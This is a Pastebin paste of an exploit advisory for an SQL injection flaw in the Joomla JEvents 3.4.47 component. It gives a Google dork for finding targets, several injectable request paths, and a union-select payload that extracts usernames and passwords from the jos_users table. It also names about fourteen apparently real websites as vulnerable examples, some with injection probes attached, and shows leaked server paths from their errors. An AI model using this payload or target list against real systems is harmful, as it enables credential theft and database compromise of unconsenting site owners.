API tools faq
paste
KingSkrupellos

Joomla JEvents Components 3.4.47 SQL Injection

KingSkrupellos
Jan 31st, 2019
149
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.29 KB | None | 0 0
raw download clone embed print report
  1. ####################################################################
  2.  
  3. # Exploit Title : Joomla JEvents Components 3.4.47 SQL Injection
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 31/01/2019
  7. # Vendor Homepage : jevents.net
  8. # Software Download Link : jevents.net/download-area/jevents
  9. # Software Information Link : extensions.joomla.org/extension/jevents/
  10. # Software Version : 3.4.47
  11. # Tested On : Windows and Linux
  12. # Category : WebApps
  13. # Exploit Risk : Medium
  14. # Google Dorks : inurl:''/index.php?option=com_jevents''
  15. # Vulnerability Type : CWE-89 [ Improper Neutralization of
  16. Special Elements used in an SQL Command ('SQL Injection') ]
  17. # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
  18. # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
  19. # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
  20. # Reference Link : cxsecurity.com/issue/WLB-2019010306
  21. packetstormsecurity.com/files/151429/Joomla-JEvents-3.4.47-SQL-Injection.html
  22.  
  23. ####################################################################
  24.  
  25. # Description about Software :
  26. ***************************
  27. JEvents is a well known and Loved Events Calendar / Management solution for Joomla.
  28.  
  29. JEvents provides a full events and calendar solution for your Joomla! site.
  30.  
  31. Showing your events in listings or as a visual monthly calendar view, create complex
  32.  
  33. repeats patterns, import and export your events with a couple of clicks, offer a feed
  34.  
  35. with your latest events. The JEvents calendar is translated into more than 40 languages
  36.  
  37. so we are likely to have a translation for your website. JEvents offer Complex repeating
  38.  
  39. event patterns, repeating event exceptions, importing and exporting of calendars,
  40.  
  41. a sophisticated layout editor for event detail, event calendar, upcoming event list
  42.  
  43. and even event creation pages.
  44.  
  45. ####################################################################
  46.  
  47. # Impact :
  48. **********
  49. The JEvents 3.4.47 component for Joomla! is prone to an SQL-injection vulnerability
  50.  
  51. because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
  52.  
  53. A successful exploit may allow an attacker to compromise the application, access
  54.  
  55. or modify data, or exploit latent vulnerabilities in the underlying database.
  56.  
  57. A remote attacker can send a specially crafted request to the vulnerable application
  58.  
  59. and execute arbitrary SQL commands in application`s database.
  60.  
  61. Further exploitation of this vulnerability may result in unauthorized data manipulation.
  62.  
  63. An attacker can exploit this issue using a browser.
  64.  
  65. ####################################################################
  66.  
  67. # SQL Injection Exploit :
  68. **********************
  69.  
  70. /index.php?option=com_jevents&Itemid=[SQL Injection]
  71.  
  72. /index.php?option=com_jevents&task=month.calendar&Itemid=[SQL Injection]
  73.  
  74. /index.php?option=com_jevents&task=modlatest.rss&format=
  75. feed&type=rss&Itemid=0&modid=[SQL Injection]
  76.  
  77. /index.php?option=com_jevents&task=month.calendar&year=
  78. [YEAR]&month=[MONTH]&day=[DAY]&Itemid=[ID-NUMBER]&pop=[SQL Injection]
  79.  
  80. /index.php?option=com_jevents&task=year.listevents&day=
  81. [DAY]&month=[MONTH]&year=[YEAR]&Itemid=0
  82.  
  83. /index.php?option=com_jevents&task=month.calendar&Itemid=
  84. [ID-NUMBER]&year=[YEAR]&month=[MONTH]&day=[DAY][SQL Injection]
  85.  
  86. /index.php?option=com_jevents&task=icalrepeat.detail&evid=
  87. [ID-NUMBER]&Itemid=[ID-NUMBER]&year=[YEAR]&month=
  88. [MONTH]&day=[DAY][SQL Injection]
  89.  
  90. /index.php?option=com_jevents&task=cat.listevents&year=
  91. [YEAR]&month=[MONTH]&day=[DAY]&Itemid=[ID-NUMBER]&pop=
  92. [ID-NUMBER]&tmpl=component&limitstart=[SQL Injection]
  93.  
  94. /component/jevents/day.listevents/[YEAR]/[MONTH]/[DAY]
  95. /index.php?option=com_jevents&task=month.calendar&catids=
  96. [ID-NUMBER]&month=[MONTH]&year=[YEAR]&Itemid=[SQL Injection]
  97.  
  98. # Example Exploit Payload :
  99. ************************
  100.  
  101. union select 1,concat(username,0x3a,password),3,4,5,6,7,8,9,10 from jos_users--
  102.  
  103. ####################################################################
  104.  
  105. # Example Vulnerable Sites :
  106. *************************
  107.  
  108. [+] thurstancollege.net/index.php?option=com_jevents&Itemid=1%27
  109.  
  110. [+] priorsfordprimary.com/Joomla/index.php?option=com_jevents&task=
  111. modlatest.rss&format=feed&type=rss&Itemid=0&modid=0%27
  112.  
  113. [+] hortonwine.com/index.php?option=com_jevents&task=
  114. month.calendar&year=1948&month=02&day=01&Itemid=0&pop=1%27
  115.  
  116. [+] pohodart.cz/index.php?option=com_jevents&task=
  117. year.listevents&day=27&month=02&year=2019&Itemid=0
  118.  
  119. [+] allureparrucchieri.it/index.php?option=com_jevents&task=
  120. month.calendar&year=2018&month=07&day=22&Itemid=68&pop=1%27
  121.  
  122. [+] chlcourse.com/software/index.php?option=com_jevents&task=
  123. month.calendar&year=2019&month=04&day=19&Itemid=0&pop=1%27
  124.  
  125. [+] horizonschildrenscentre.ca/index.php?option=com_jevents&task=
  126. month.calendar&Itemid=0&year=2011&month=04&day=25
  127.  
  128. [+] spider.awardspace.info/index.php?option=com_jevents&task=
  129. month.calendar&Itemid=18
  130.  
  131. [+] shannondelany.com/joomla/index.php?option=com_jevents&task=
  132. icalrepeat.detail&evid=12&Itemid=75&year=2011&month=08&day=27%27
  133.  
  134. [+] arpege.musicanet.org/component/jevents/day.listevents/2018/08/11
  135. /index.php?option=com_jevents&task=month.calendar&catids=
  136. 62&month=02&year=2021&Itemid=0
  137.  
  138. [+] neu.oaseczk.de/index.php?option=com_jevents&task=
  139. cat.listevents&year=2018&month=07&day=24&Itemid=
  140. 168&pop=1&tmpl=component&limitstart=150
  141.  
  142. [+] s437716437.onlinehome.us/index.php?option=com_jevents
  143. &task=modlatest.rss&format=feed&type=atom&Itemid=101&modid=0
  144.  
  145. [+] 2injoy.com/index.php?option=com_jevents&view=cat&layout=listevents&Itemid=144
  146.  
  147. [+] sportverein-beuren.de/index.php?option=com_jevents
  148. &task=year.listevents&Itemid=72&year=2012&month=03&day=02
  149.  
  150. ####################################################################
  151.  
  152. # Example SQL Database Error :
  153. ****************************
  154.  
  155. Strict Standards: Only variables should be assigned by reference in
  156. /home/priosfor/public_html/Joomla/plugins/system/k2/k2.php on line 278
  157.  
  158. Deprecated: Assigning the return value of new by reference is deprecated in
  159. /home/hortonwi/public_html/components/com_jevents/libraries/helper.php on line 119
  160.  
  161. ####################################################################
  162.  
  163. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  164.  
  165. ####################################################################
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!